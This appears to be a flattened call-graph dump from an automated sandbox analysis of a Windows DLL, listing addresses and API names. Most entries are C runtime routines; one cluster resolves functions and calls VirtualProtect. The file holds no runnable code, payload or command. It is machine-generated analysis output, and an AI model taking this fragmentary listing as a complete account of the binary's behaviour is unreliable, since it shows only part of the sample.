6008 10005671 RtlEnterCriticalSection 5996->6008 5998 100047aa 6009 100047dc 5998->6009 6000 100047d1 _abort 6000->5982 6002 10002ae3 6001->6002 6003 10002ae5 IsProcessorFeaturePresent 6001->6003 6002->5984 6005 10002b58 6003->6005 6013 10002b1c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 6005->6013 6007 10002c3b 6007->5984 6008->5998 6012 100056b9 RtlLeaveCriticalSection 6009->6012 6011 100047e3 6011->6000 6012->6011 6013->6007 6017 10005b7a GetLastError 6014->6017 6018 10005b93 6017->6018 6019 10005b99 6017->6019 6036 10005e08 6018->6036 6024 10005bf0 SetLastError 6019->6024 6043 1000637b 6019->6043 6023 10005bb3 6050 1000571e 6023->6050 6025 10005bf9 6024->6025 6025->5989 6029 10005bb9 6031 10005be7 SetLastError 6029->6031 6030 10005bcf 6063 1000593c 6030->6063 6031->6025 6034 1000571e _free 17 API calls 6035 10005be0 6034->6035 6035->6024 6035->6031 6068 10005c45 6036->6068 6038 10005e2f 6039 10005e47 TlsGetValue 6038->6039 6040 10005e3b 6038->6040 6039->6040 6041 10002ada _ValidateLocalCookies 5 API calls 6040->6041 6042 10005e58 6041->6042 6042->6019 6048 10006388 _abort 6043->6048 6044 100063c8 6047 10006368 _free 19 API calls 6044->6047 6045 100063b3 RtlAllocateHeap 6046 10005bab 6045->6046 6045->6048 6046->6023 6056 10005e5e 6046->6056 6047->6046 6048->6044 6048->6045 6049 1000474f _abort 7 API calls 6048->6049 6049->6048 6051 10005752 _free 6050->6051 6052 10005729 HeapFree 6050->6052 6051->6029 6052->6051 6053 1000573e 6052->6053 6054 10006368 _free 18 API calls 6053->6054 6055 10005744 GetLastError 6054->6055 6055->6051 6057 10005c45 _abort 5 API calls 6056->6057 6058 10005e85 6057->6058 6059 10005ea0 TlsSetValue 6058->6059 6060 10005e94 6058->6060 6059->6060 6061 10002ada _ValidateLocalCookies 5 API calls 6060->6061 6062 10005bc8 6061->6062 6062->6023 6062->6030 6074 10005914 6063->6074 6069 10005c71 6068->6069 6070 10005c75 __crt_fast_encode_pointer 6068->6070 6069->6070 6071 10005ce1 _abort LoadLibraryExW GetLastError LoadLibraryExW FreeLibrary 6069->6071 6073 10005c95 6069->6073 6070->6038 6071->6069 6072 10005ca1 GetProcAddress 6072->6070 6073->6070 6073->6072 6075 10005854 _abort RtlEnterCriticalSection RtlLeaveCriticalSection 6074->6075 6076 10005938 6075->6076 6077 100058c4 6076->6077 6078 10005758 _abort 20 API calls 6077->6078 6079 100058e8 6078->6079 6079->6034 6081 10001ca6 _strlen 6080->6081 6081->5976 7606 100020db 7609 100020e7 ___DestructExceptionObject 7606->7609 7607 100020f6 7608 10002110 dllmain_raw 7608->7607 7610 1000212a 7608->7610 7609->7607 7609->7608 7614 1000210b 7609->7614 7619 10001eec 7610->7619 7612 10002177 7612->7607 7613 10001eec 31 API calls 7612->7613 7615 1000218a 7613->7615 7614->7607 7614->7612 7617 10001eec 31 API calls 7614->7617 7615->7607 7616 10002193 dllmain_raw 7615->7616 7616->7607 7618 1000216d dllmain_raw 7617->7618 7618->7612 7620 10001ef7 7619->7620 7621 10001f2a dllmain_crt_process_detach 7619->7621 7622 10001f1c dllmain_crt_process_attach 7620->7622 7623 10001efc 7620->7623 7628 10001f06 7621->7628 7622->7628 7624 10001f01 7623->7624 7625 10001f12 7623->7625 7624->7628 7629 1000240b 7624->7629 7634 100023ec 7625->7634 7628->7614 7642 100053e5 7629->7642 7735 10003513 7634->7735 7637 100023f5 7637->7628 7640 10002408 7640->7628 7641 1000351e 7 API calls 7641->7637 7648 10005aca 7642->7648 7645 1000351e 7724 10003820 7645->7724 7647 10002415 7647->7628 7649 10005ad4 7648->7649 7650 10002410 7648->7650 7651 10005e08 _abort 11 API calls 7649->7651 7650->7645 7652 10005adb 7651->7652 7652->7650 7653 10005e5e _abort 11 API calls 7652->7653 7654 10005aee 7653->7654 7656 100059b5 7654->7656 7657 100059c0 7656->7657 7661 100059d0 7656->7661 7662 100059d6 7657->7662 7660 1000571e _free 20 API calls 7660->7661 7661->7650 7663 100059e9 7662->7663 7666 100059ef 7662->7666 7664 1000571e _free 20 API calls 7663->7664 7664->7666 7665 1000571e _free 20 API calls 7667 100059fb 7665->7667 7666->7665 7668 1000571e _free 20 API calls 7667->7668 7669 10005a06 7668->7669 7670 1000571e _free 20 API calls 7669->7670 7671 10005a11 7670->7671 7672 1000571e _free 20 API calls 7671->7672 7673 10005a1c 7672->7673 7674 1000571e _free 20 API calls 7673->7674 7675 10005a27 7674->7675 7676 1000571e _free 20 API calls 7675->7676 7677 10005a32 7676->7677 7678 1000571e _free 20 API calls 7677->7678 7679 10005a3d 7678->7679 7680 1000571e _free 20 API calls 7679->7680 7681 10005a48 7680->7681 7682 1000571e _free 20 API calls 7681->7682 7683 10005a56 7682->7683 7688 1000589c 7683->7688 7694 100057a8 7688->7694 7690 100058c0 7691 100058ec 7690->7691 7707 10005809 7691->7707 7693 10005910 7693->7660 7695 100057b4 ___DestructExceptionObject 7694->7695 7702 10005671 RtlEnterCriticalSection 7695->7702 7698 100057be 7699 1000571e _free 20 API calls 7698->7699 7700 100057e8 7698->7700 7699->7700 7703 100057fd 7700->7703 7701 100057f5 _abort 7701->7690 7702->7698 7706 100056b9 RtlLeaveCriticalSection 7703->7706 7705 10005807 7705->7701 7706->7705 7708 10005815 ___DestructExceptionObject 7707->7708 7715 10005671 RtlEnterCriticalSection 7708->7715 7710 1000581f 7716 10005a7f 7710->7716 7712 10005832 7720 10005848 7712->7720 7714 10005840 _abort 7714->7693 7715->7710 7717 10005ab5 __fassign 7716->7717 7718 10005a8e __fassign 7716->7718 7717->7712 7718->7717 7719 10007cc2 __fassign 20 API calls 7718->7719 7719->7717 7723 100056b9 RtlLeaveCriticalSection 7720->7723 7722 10005852 7722->7714 7723->7722 7725 1000384b ___vcrt_freefls@4 7724->7725 7727 1000382d 7724->7727 7725->7647 7726 1000383b 7729 10003ba2 ___vcrt_FlsSetValue 6 API calls 7726->7729 7727->7726 7730 10003b67 7727->7730 7729->7725 7731 10003a82 try_get_function 5 API calls 7730->7731 7732 10003b81 7731->7732 7733 10003b99 TlsGetValue 7732->7733 7734 10003b8d 7732->7734 7733->7734 7734->7726 7741 10003856 7735->7741 7737 100023f1 7737->7637 7738 100053da 7737->7738 7739 10005b7a _abort 20 API calls 7738->7739 7740 100023fd 7739->7740 7740->7640 7740->7641 7742 10003862 GetLastError 7741->7742 7743 1000385f 7741->7743 7744 10003b67 ___vcrt_FlsGetValue 6 API calls 7742->7744 7743->7737 7745 10003877 7744->7745 7746 100038dc SetLastError 7745->7746 7747 10003ba2 ___vcrt_FlsSetValue 6 API calls 7745->7747 7752 10003896 7745->7752 7746->7737 7748 10003890 7747->7748 7749 100038b8 7748->7749 7750 10003ba2 ___vcrt_FlsSetValue 6 API calls 7748->7750 7748->7752 7751 10003ba2 ___vcrt_FlsSetValue 6 API calls 7749->7751 7749->7752 7750->7749 7751->7752 7752->7746 6128 1000281c 6131 10002882 6128->6131 6134 10003550 6131->6134 6133 1000282a 6135 1000358a 6134->6135 6136 1000355d 6134->6136 6135->6133 6136->6135 6137 100047e5 ___std_exception_copy 21 API calls 6136->6137 6138 1000357a 6137->6138 6138->6135 6140 1000544d 6138->6140 6141 1000545a 6140->6141 6143 10005468 6140->6143 6141->6143 6147 1000547f 6141->6147 6142 10006368 _free 20 API calls 6144 10005470 6142->6144 6143->6142 6149 100062ac 6144->6149 6146 1000547a 6146->6135 6147->6146 6148 10006368 _free 20 API calls 6147->6148 6148->6144 6152 10006231 6149->6152 6151 100062b8 6151->6146 6153 10005b7a _abort 20 API calls 6152->6153 6154 10006247 6153->6154 6155 100062a6 6154->6155 6158 10006255 6154->6158 6163 100062bc IsProcessorFeaturePresent 6155->6163 6157 100062ab 6159 10006231 _abort 26 API calls 6157->6159 6160 10002ada _ValidateLocalCookies 5 API calls 6158->6160 6161 100062b8 6159->6161 6162 1000627c 6160->6162 6161->6151 6162->6151 6164 100062c7 6163->6164 6167 100060e2 6164->6167 6168 100060fe ___scrt_fastfail 6167->6168 6169 1000612a IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 6168->6169 6172 100061fb ___scrt_fastfail 6169->6172 6170 10002ada _ValidateLocalCookies 5 API calls 6171 10006219 GetCurrentProcess TerminateProcess 6170->6171 6171->6157 6172->6170 7753 10004bdd 7754 10004c08 7753->7754 7755 10004bec 7753->7755 7757 10006d60 51 API calls 7754->7757 7755->7754 7756 10004bf2 7755->7756 7758 10006368 _free 20 API calls 7756->7758 7759 10004c0f GetModuleFileNameA 7757->7759 7760 10004bf7 7758->7760 7761 10004c33 7759->7761 7762 100062ac _abort 26 API calls 7760->7762 7776 10004d01 7761->7776 7763 10004c01 7762->7763 7768 10004c72 7771 10004d01 38 API calls 7768->7771 7769 10004c66 7770 10006368 _free 20 API calls 7769->7770 7775 10004c6b 7770->7775 7773 10004c88 7771->7773 7772 1000571e _free 20 API calls 7772->7763 7774 1000571e _free 20 API calls 7773->7774 7773->7775 7774->7775 7775->7772 7778 10004d26 7776->7778 7780 10004d86 7778->7780 7788 100070eb 7778->7788 7779 10004c50 7782 10004e76 7779->7782 7780->7779 7781 100070eb 38 API calls 7780->7781 7781->7780 7783 10004e8b 7782->7783 7784 10004c5d 7782->7784 7783->7784 7785 1000637b _abort 20 API calls 7783->7785 7784->7768 7784->7769 7786 10004eb9 7785->7786 7787 1000571e _free 20 API calls 7786->7787 7787->7784 7791 10007092 7788->7791 7792 100054a7 __fassign 38 API calls 7791->7792 7793 100070a6 7792->7793 7793->7778 7152 10007260 GetStartupInfoW 7153 10007286 7152->7153 7155 10007318 7152->7155 7153->7155 7158 10008be3 7153->7158 7156 100072af 7156->7155 7157 100072dd GetFileType 7156->7157 7157->7156 7159 10008bef ___DestructExceptionObject 7158->7159 7160 10008c13 7159->7160 7161 10008bfc 7159->7161 7171 10005671 RtlEnterCriticalSection 7160->7171 7162 10006368 _free 20 API calls 7161->7162 7164 10008c01 7162->7164 7165 100062ac _abort 26 API calls 7164->7165 7166 10008c0b _abort 7165->7166 7166->7156 7167 10008c4b 7179 10008c72 7167->7179 7169 10008c1f 7169->7167 7172 10008b34 7169->7172 7171->7169 7173 1000637b _abort 20 API calls 7172->7173 7174 10008b46 7173->7174 7177 10005eb7 11 API calls 7174->7177 7178 10008b53 7174->7178 7175 1000571e _free 20 API calls 7176 10008ba5 7175->7176 7176->7169 7177->7174 7178->7175 7182 100056b9 RtlLeaveCriticalSection 7179->7182 7181 10008c79 7181->7166 7182->7181 7446 100081a0 7447 100081d9 7446->7447 7448 100081dd 7447->7448 7459 10008205 7447->7459 7449 10006368 _free 20 API calls 7448->7449 7450 100081e2 7449->7450 7452 100062ac _abort 26 API calls 7450->7452 7451 10008529 7453 10002ada _ValidateLocalCookies 5 API calls 7451->7453 7454 100081ed 7452->7454 7455 10008536 7453->7455 7456 10002ada _ValidateLocalCookies 5 API calls 7454->7456 7458 100081f9 7456->7458 7459->7451 7460 100080c0 7459->7460 7461 100080db 7460->7461 7462 10002ada _ValidateLocalCookies 5 API calls 7461->7462 7463 10008152 7462->7463 7463->7459 7794 1000a1e0 7797 1000a1fe 7794->7797 7796 1000a1f6 7799 1000a203 7797->7799 7798 1000aa53 21 API calls 7801 1000a42f 7798->7801 7799->7798 7800 1000a298 7799->7800 7800->7796 7801->7796 7183 10009d61 7184 10009d81 7183->7184 7187 10009db8 7184->7187 7186 10009dab 7189 10009dbf 7187->7189 7188 10009e20 7190 1000a90e 7188->7190 7191 1000aa17 21 API calls 7188->7191 7189->7188 7193 10009ddf 7189->7193 7190->7186 7192 10009e6e 7191->7192 7192->7186 7193->7190 7194 1000aa17 21 API calls 7193->7194 7195 1000a93e 7194->7195 7195->7186 7464 100021a1 ___scrt_dllmain_exception_filter 5824 1000c7a7 5825 1000c7be 5824->5825 5831 1000c82c 5824->5831 5825->5831 5836 1000c7e6 GetModuleHandleA 5825->5836 5827 1000c835 GetModuleHandleA 5830 1000c83f 5827->5830 5828 1000c872 5829 1000c7dd 5829->5830 5829->5831 5833 1000c800 GetProcAddress 5829->5833 5830->5831 5832 1000c85f GetProcAddress 5830->5832 5831->5827 5831->5828 5831->5830 5832->5831 5833->5831 5834 1000c80d VirtualProtect 5833->5834 5834->5831 5835 1000c81c VirtualProtect 5834->5835 5835->5831 5837 1000c7ef 5836->5837 5845 1000c82c 5836->5845 5848 1000c803 GetProcAddress 5837->5848 5839 1000c7f4 5842 1000c800 GetProcAddress 5839->5842 5839->5845 5840 1000c872 5841 1000c835 GetModuleHandleA 5844 1000c83f 5841->5844 5843 1000c80d VirtualProtect 5842->5843 5842->5845 5843->5845 5846 1000c81c VirtualProtect 5843->5846 5844->5845 5847 1000c85f GetProcAddress 5844->5847 5845->5840 5845->5841 5845->5844 5846->5845 5847->5845 5849 1000c82c 5848->5849 5850 1000c80d VirtualProtect 5848->5850 5852 1000c872 5849->5852 5853 1000c835 GetModuleHandleA 5849->5853 5850->5849 5851 1000c81c VirtualProtect 5850->5851 5851->5849 5855 1000c83f 5853->5855 5854 1000c85f GetProcAddress 5854->5855 5855->5849 5855->5854 6173 1000742b 6174 10007430 6173->6174 6175 10007453 6174->6175 6177 10008bae 6174->6177 6178 10008bdd 6177->6178 6179 10008bbb 6177->6179 6178->6174 6180 10008bd7 6179->6180 6181 10008bc9 RtlDeleteCriticalSection 6179->6181 6182 1000571e _free 20 API calls 6180->6182 6181->6180 6181->6181 6182->6178 7196 1000ac6b 7197 1000ac84 __startOneArgErrorHandling 7196->7197 7199 1000acad __startOneArgErrorHandling 7197->7199 7200 1000b2f0 7197->7200 7201 1000b329 __startOneArgErrorHandling 7200->7201 7202 1000b5c1 __raise_exc RaiseException 7201->7202 7203 1000b350 __startOneArgErrorHandling 7201->7203 7202->7203 7204 1000b393 7203->7204 7205 1000b36e 7203->7205 7206 1000b8b2 __startOneArgErrorHandling 20 API calls 7204->7206 7211 1000b8e1 7205->7211 7208 1000b38e __startOneArgErrorHandling 7206->7208 7209 10002ada _ValidateLocalCookies 5 API calls 7208->7209 7210 1000b3b7 7209->7210 7210->7199 7212 1000b8f0 7211->7212 7213 1000b90f __startOneArgErrorHandling 7212->7213 7214 1000b964 __startOneArgErrorHandling 7212->7214 7215 100078a3 __startOneArgErrorHandling 5 API calls 7213->7215 7216 1000b8b2 __startOneArgErrorHandling 20 API calls 7214->7216 7217 1000b950 7215->7217 7219 1000b95d 7216->7219 7218 1000b8b2 __startOneArgErrorHandling 20 API calls 7217->7218 7217->7219 7218->7219 7219->7208 7465 100060ac 7466 100060b7 7465->7466 7468 100060dd 7465->7468 7467 100060c7 FreeLibrary 7466->7467 7466->7468 7467->7466 7220 1000506f 7221 10005081 7220->7221 7222 10005087 7220->7222 7223 10005000 20 API calls 7221->7223 7223->7222 6183 10005630 6184 1000563b 6183->6184 6186 10005664 6184->6186 6188 10005660 6184->6188 6189 10005eb7 6184->6189 6196 10005688 6186->6196 6190 10005c45 _abort 5 API calls 6189->6190 6191 10005ede 6190->6191 6192 10005efc InitializeCriticalSectionAndSpinCount 6191->6192 6195 10005ee7 6191->6195 6192->6195 6193 10002ada _ValidateLocalCookies 5 API calls 6194 10005f13 6193->6194 6194->6184 6195->6193 6197 100056b4 6196->6197 6198 10005695 6196->6198 6197->6188 6199 1000569f RtlDeleteCriticalSection 6198->6199 6199->6197 6199->6199 7224 10003370 7235 10003330 7224->7235 7236 10003342 7235->7236 7237 1000334f 7235->7237 7238 10002ada _ValidateLocalCookies 5 API calls 7236->7238 7238->7237 7802 100063f0 7803 10006400 7802->7803 7806 10006416 7802->7806 7804 10006368 _free 20 API calls 7803->7804 7805 10006405 7804->7805 7808 100062ac _abort 26 API calls 7805->7808 7809 10006480 7806->7809 7814 10006561 7806->7814 7821 10006580 7806->7821 7807 10004e76 20 API calls 7810 100064e5 7807->7810 7816 1000640f 7808->7816 7809->7807 7812 100064ee 7810->7812 7818 10006573 7810->7818 7832 100085eb 7810->7832 7813 1000571e _free 20 API calls 7812->7813 7813->7814 7841 1000679a 7814->7841 7819 100062bc _abort 11 API calls 7818->7819 7820 1000657f 7819->7820 7822 1000658c 7821->7822 7822->7822 7823 1000637b _abort 20 API calls 7822->7823 7824 100065ba 7823->7824 7825 100085eb 26 API calls 7824->7825 7826 100065e6 7825->7826 7827 100062bc _abort 11 API calls 7826->7827 7828 10006615 ___scrt_fastfail 7827->7828 7829 100066b6 FindFirstFileExA 7828->7829 7830 10006705 7829->7830 7831 10006580 26 API calls 7830->7831 7835 1000853a 7832->7835 7833 1000854f 7834 10006368 _free 20 API calls 7833->7834 7836 10008554 7833->7836 7840 1000857a 7834->7840 7835->7833 7835->7836 7838 1000858b 7835->7838 7836->7810 7837 100062ac _abort 26 API calls 7837->7836 7838->7836 7839 10006368 _free 20 API calls 7838->7839 7839->7840 7840->7837 7845 100067a4 7841->7845 7842 100067b4 7844 1000571e _free 20 API calls 7842->7844 7843 1000571e _free 20 API calls 7843->7845 7846 100067bb 7844->7846 7845->7842 7845->7843 7846->7816 7239 10009e71 7240 10009e95 7239->7240 7241 10009ee6 7240->7241 7243 10009f71 __startOneArgErrorHandling 7240->7243 7244 10009ef8 7241->7244 7247 1000aa53 7241->7247 7245 1000b2f0 21 API calls 7243->7245 7246 1000acad __startOneArgErrorHandling 7243->7246 7245->7246 7248 1000aa70 RtlDecodePointer 7247->7248 7249 1000aa80 7247->7249 7248->7249 7250 1000ab0d 7249->7250 7253 1000ab02 7249->7253 7255 1000aab7 7249->7255 7250->7253 7254 10006368 _free 20 API calls 7250->7254 7251 10002ada _ValidateLocalCookies 5 API calls 7252 1000ac67 7251->7252 7252->7244 7253->7251 7254->7253 7255->7253 7256 10006368 _free 20 API calls 7255->7256 7256->7253 7473 10003eb3 7474 10005411 38 API calls 7473->7474 7475 10003ebb 7474->7475 6200 1000543d 6201 10005440 6200->6201 6204 100055a8 6201->6204 6215 10007613 6204->6215 6207 100055b8 6209 100055c2 IsProcessorFeaturePresent 6207->6209 6214 100055e0 6207->6214 6211 100055cd 6209->6211 6212 100060e2 _abort 8 API calls 6211->6212 6212->6214 6245 10004bc1 6214->6245 6248 10007581 6215->6248 6218 1000766e 6219 1000767a _abort 6218->6219 6220 10005b7a _abort 20 API calls 6219->6220 6221 100076a1 _abort 6219->6221 6225 100076a7 _abort 6219->6225 6220->6221 6222 100076f3 6221->6222 6221->6225 6244 100076d6 6221->6244 6223 10006368 _free 20 API calls 6222->6223 6224 100076f8 6223->6224 6227 100062ac _abort 26 API calls 6224->6227 6230 1000771f 6225->6230 6262 10005671 RtlEnterCriticalSection 6225->6262 6227->6244 6231 1000777e 6230->6231 6233 10007776 6230->6233 6241 100077a9 6230->6241 6263 100056b9 RtlLeaveCriticalSection 6230->6263 6231->6241 6264 10007665 6231->6264 6236 10004bc1 _abort 28 API calls 6233->6236 6236->6231 6240 10007665 _abort 38 API calls 6240->6241 6267 1000782e 6241->6267 6242 1000780c 6243 10005af6 _abort 38 API calls 6242->6243 6242->6244 6243->6244 6291 1000bdc9 6244->6291 6295 1000499b 6245->6295 6251 10007527 6248->6251 6250 100055ad 6250->6207 6250->6218 6252 10007533 ___DestructExceptionObject 6251->6252 6257 10005671 RtlEnterCriticalSection 6252->6257 6254 10007541 6258 10007575 6254->6258 6256 10007568 _abort 6256->6250 6257->6254 6261 100056b9 RtlLeaveCriticalSection 6258->6261 6260 1000757f 6260->6256 6261->6260 6262->6230 6263->6233 6265 10005af6 _abort 38 API calls 6264->6265 6266 1000766a 6265->6266 6266->6240 6268 10007834 6267->6268 6269 100077fd 6267->6269 6294 100056b9 RtlLeaveCriticalSection 6268->6294 6269->6242 6269->6244 6271 10005af6 GetLastError 6269->6271 6272 10005b12 6271->6272 6273 10005b0c 6271->6273 6275 1000637b _abort 20 API calls 6272->6275 6277 10005b61 SetLastError 6272->6277 6274 10005e08 _abort 11 API calls 6273->6274 6274->6272 6276 10005b24 6275->6276 6278 10005b2c 6276->6278 6279 10005e5e _abort 11 API calls 6276->6279 6277->6242 6280 1000571e _free 20 API calls 6278->6280 6281 10005b41 6279->6281 6282 10005b32 6280->6282 6281->6278 6283 10005b48 6281->6283 6284 10005b6d SetLastError 6282->6284 6285 1000593c _abort 20 API calls 6283->6285 6287 100055a8 _abort 35 API calls 6284->6287 6286 10005b53 6285->6286 6288 1000571e _free 20 API calls 6286->6288 6289 10005b79 6287->6289 6290 10005b5a 6288->6290 6290->6277 6290->6284 6292 10002ada _ValidateLocalCookies 5 API calls 6291->6292 6293 1000bdd4 6292->6293 6293->6293 6294->6269 6296 100049a7 _abort 6295->6296 6303 100049bf 6296->6303 6317 10004af5 GetModuleHandleW 6296->6317 6300 10004a65 6334 10004aa5 6300->6334 6326 10005671 RtlEnterCriticalSection 6303->6326 6305 10004a3c 6307 10004a54 6305->6307 6330 10004669 6305->6330 6306 100049c7 6306->6300 6306->6305 6327 1000527a 6306->6327 6313 10004669 _abort 5 API calls 6307->6313 6308 10004a82 6337 10004ab4 6308->6337 6309 10004aae 6311 1000bdc9 _abort 5 API calls 6309->6311 6316 10004ab3 6311->6316 6313->6300 6318 100049b3 6317->6318 6318->6303 6319 10004b39 GetModuleHandleExW 6318->6319 6320 10004b63 GetProcAddress 6319->6320 6321 10004b78 6319->6321 6320->6321 6322 10004b95 6321->6322 6323 10004b8c FreeLibrary 6321->6323 6324 10002ada _ValidateLocalCookies 5 API calls 6322->6324 6323->6322 6325 10004b9f 6324->6325 6325->6303 6326->6306 6345 10005132 6327->6345 6331 10004698 6330->6331 6332 10002ada _ValidateLocalCookies 5 API calls 6331->6332 6333 100046c1 6332->6333 6333->6307 6367 100056b9 RtlLeaveCriticalSection 6334->6367 6336 10004a7e 6336->6308 6336->6309 6368 10006025 6337->6368 6340 10004ae2 6343 10004b39 _abort 8 API calls 6340->6343 6341 10004ac2 GetPEB 6341->6340 6342 10004ad2 GetCurrentProcess TerminateProcess 6341->6342 6342->6340 6344 10004aea ExitProcess 6343->6344 6348 100050e1 6345->6348 6347 10005156 6347->6305 6349 100050ed ___DestructExceptionObject 6348->6349 6356 10005671 RtlEnterCriticalSection 6349->6356 6351 100050fb 6357 1000515a 6351->6357 6355 10005119 _abort 6355->6347 6356->6351 6360 10005182 6357->6360 6361 1000517a 6357->6361 6358 10002ada _ValidateLocalCookies 5 API calls 6359 10005108 6358->6359 6363 10005126 6359->6363 6360->6361 6362 1000571e _free 20 API calls 6360->6362 6361->6358 6362->6361 6366 100056b9 RtlLeaveCriticalSection 6363->6366 6365 10005130 6365->6355 6366->6365 6367->6336 6369 10006040 6368->6369 6370 1000604a 6368->6370 6372 10002ada _ValidateLocalCookies 5 API calls 6369->6372 6371 10005c45 _abort 5 API calls 6370->6371 6371->6369 6373 10004abe 6372->6373 6373->6340 6373->6341 6374 10001f3f 6375 10001f4b ___DestructExceptionObject 6374->6375 6392 1000247c 6375->6392 6377 10001f52 6378 10002041 6377->6378 6379 10001f7c 6377->6379 6386 10001f57 ___scrt_is_nonwritable_in_current_image 6377->6386 6415 10002639 IsProcessorFeaturePresent 6378->6415 6403 100023de 6379->6403 6382 10002048 6383 10001f8b __RTC_Initialize 6383->6386 6406 100022fc RtlInitializeSListHead 6383->6406 6385 10001f99 ___scrt_initialize_default_local_stdio_options 6407 100046c5 6385->6407 6390 10001fb8 6390->6386 6391 10004669 _abort 5 API calls 6390->6391 6391->6386 6393 10002485 6392->6393 6419 10002933 IsProcessorFeaturePresent 6393->6419 6397 1000249a 6397->6377 6398 10002496 6398->6397 6430 100053c8 6398->6430 6401 100024b1 6401->6377 6504 100024b5 6403->6504 6405 100023e5 6405->6383 6406->6385 6408 100046dc 6407->6408 6409 10002ada _ValidateLocalCookies 5 API calls 6408->6409 6410 10001fad 6409->6410 6410->6386 6411 100023b3 6410->6411 6412 100023b8 ___scrt_release_startup_lock 6411->6412 6413 10002933 ___isa_available_init IsProcessorFeaturePresent 6412->6413 6414 100023c1 6412->6414 6413->6414 6414->6390 6416 1000264e ___scrt_fastfail 6415->6416 6417 100026f9 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 6416->6417 6418 10002744 ___scrt_fastfail 6417->6418 6418->6382 6420 10002491 6419->6420 6421 100034ea 6420->6421 6422 100034ef ___vcrt_initialize_winapi_thunks 6421->6422 6441 10003936 6422->6441 6426 10003505 6427 10003510 6426->6427 6455 10003972 6426->6455 6427->6398 6429 100034fd 6429->6398 6496 10007457 6430->6496 6433 10003529 6434 10003532 6433->6434 6435 10003543 6433->6435 6436 1000391b ___vcrt_uninitialize_ptd 6 API calls 6434->6436 6435->6397 6437 10003537 6436->6437 6438 10003972 ___vcrt_uninitialize_locks RtlDeleteCriticalSection 6437->6438 6439 1000353c 6438->6439 6500 10003c50 6439->6500 6442 1000393f 6441->6442 6444 10003968 6442->6444 6445 100034f9 6442->6445 6459 10003be0 6442->6459 6446 10003972 ___vcrt_uninitialize_locks RtlDeleteCriticalSection 6444->6446 6445->6429 6447 100038e8 6445->6447 6446->6445 6477 10003af1 6447->6477 6450 100038fd 6450->6426 6453 10003918 6453->6426 6456 1000399c 6455->6456 6457 1000397d 6455->6457 6456->6429 6458 10003987 RtlDeleteCriticalSection 6457->6458 6458->6456 6458->6458 6464 10003a82 6459->6464 6461 10003bfa 6462 10003c18 InitializeCriticalSectionAndSpinCount 6461->6462 6463 10003c03 6461->6463 6462->6463 6463->6442 6465 10003aa6 __crt_fast_encode_pointer 6464->6465 6466 10003aaa 6464->6466 6465->6461 6466->6465 6470 100039be 6466->6470 6469 10003ac4 GetProcAddress 6469->6465 6475 100039cd try_get_first_available_module 6470->6475 6471 10003a77 6471->6465 6471->6469 6472 100039ea LoadLibraryExW 6473 10003a05 GetLastError 6472->6473 6472->6475 6473->6475 6474 10003a60 FreeLibrary 6474->6475 6475->6471 6475->6472 6475->6474 6476 10003a38 LoadLibraryExW 6475->6476 6476->6475 6478 10003a82 try_get_function 5 API calls 6477->6478 6479 10003b0b 6478->6479 6480 10003b24 TlsAlloc 6479->6480 6481 100038f2 6479->6481 6481->6450 6482 10003ba2 6481->6482 6483 10003a82 try_get_function 5 API calls 6482->6483 6484 10003bbc 6483->6484 6485 10003bd7 TlsSetValue 6484->6485 6486 1000390b 6484->6486 6485->6486 6486->6453 6487 1000391b 6486->6487 6488 1000392b 6487->6488 6489 10003925 6487->6489 6488->6450 6491 10003b2c 6489->6491 6492 10003a82 try_get_function 5 API calls 6491->6492 6493 10003b46 6492->6493 6494 10003b5e TlsFree 6493->6494 6495 10003b52 6493->6495 6494->6495 6495->6488 6499 10007470 6496->6499 6497 10002ada _ValidateLocalCookies 5 API calls 6498 100024a3 6497->6498 6498->6401 6498->6433 6499->6497 6501 10003c7f 6500->6501 6502 10003c59 6500->6502 6501->6435 6502->6501 6503 10003c69 FreeLibrary 6502->6503 6503->6502 6505 100024c4 6504->6505 6506 100024c8 6504->6506 6505->6405 6507 10002639 ___scrt_fastfail 4 API calls 6506->6507 6509 100024d5 ___scrt_release_startup_lock 6506->6509 6508 10002559 6507->6508 6509->6405 7476 100067bf 7481 100067f4 7476->7481 7479 100067db 7480 1000571e _free 20 API calls 7480->7479 7482 10006806 7481->7482 7491 100067cd 7481->7491 7483 10006836 7482->7483 7484 1000680b 7482->7484 7483->7491 7492 100071d6 7483->7492 7485 1000637b _abort 20 API calls 7484->7485 7487 10006814 7485->7487 7488 1000571e _free 20 API calls 7487->7488 7488->7491 7489 10006851 7490 1000571e _free 20 API calls 7489->7490 7490->7491 7491->7479 7491->7480 7493 100071e1 7492->7493 7494 10007209 7493->7494 7495 100071fa 7493->7495 7498 10007218 7494->7498 7501 10008a98 7494->7501 7496 10006368 _free 20 API calls 7495->7496 7500 100071ff ___scrt_fastfail 7496->7500 7508 10008acb 7498->7508 7500->7489 7502 10008aa3 7501->7502 7503 10008ab8 RtlSizeHeap 7501->7503 7504 10006368 _free 20 API calls 7502->7504 7503->7498 7505 10008aa8 7504->7505 7506 100062ac _abort 26 API calls 7505->7506 7507 10008ab3 7506->7507 7507->7498 7509 10008ae3 7508->7509 7510 10008ad8 7508->7510 7512 10008aeb 7509->7512 7518 10008af4 _abort 7509->7518 7511 100056d0 21 API calls 7510->7511 7517 10008ae0 7511->7517 7515 1000571e _free 20 API calls 7512->7515 7513 10008af9 7516 10006368 _free 20 API calls 7513->7516 7514 10008b1e RtlReAllocateHeap 7514->7517 7514->7518 7515->7517 7516->7517 7517->7500 7518->7513 7518->7514 7519 1000474f _abort 7 API calls 7518->7519 7519->7518 7847 10005bff 7855 10005d5c 7847->7855 7850 10005c13 7851 10005b7a _abort 20 API calls 7852 10005c1b 7851->7852 7853 10005c28 7852->7853 7854 10005c2b 11 API calls 7852->7854 7854->7850 7856 10005c45 _abort 5 API calls 7855->7856 7857 10005d83 7856->7857 7858 10005d9b TlsAlloc 7857->7858 7859 10005d8c 7857->7859 7858->7859 7860 10002ada _ValidateLocalCookies 5 API calls 7859->7860 7861 10005c09 7860->7861 7861->7850 7861->7851

                                                                                        Executed Functions

                                                                                        Function 100010F1 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                        • lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001151
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
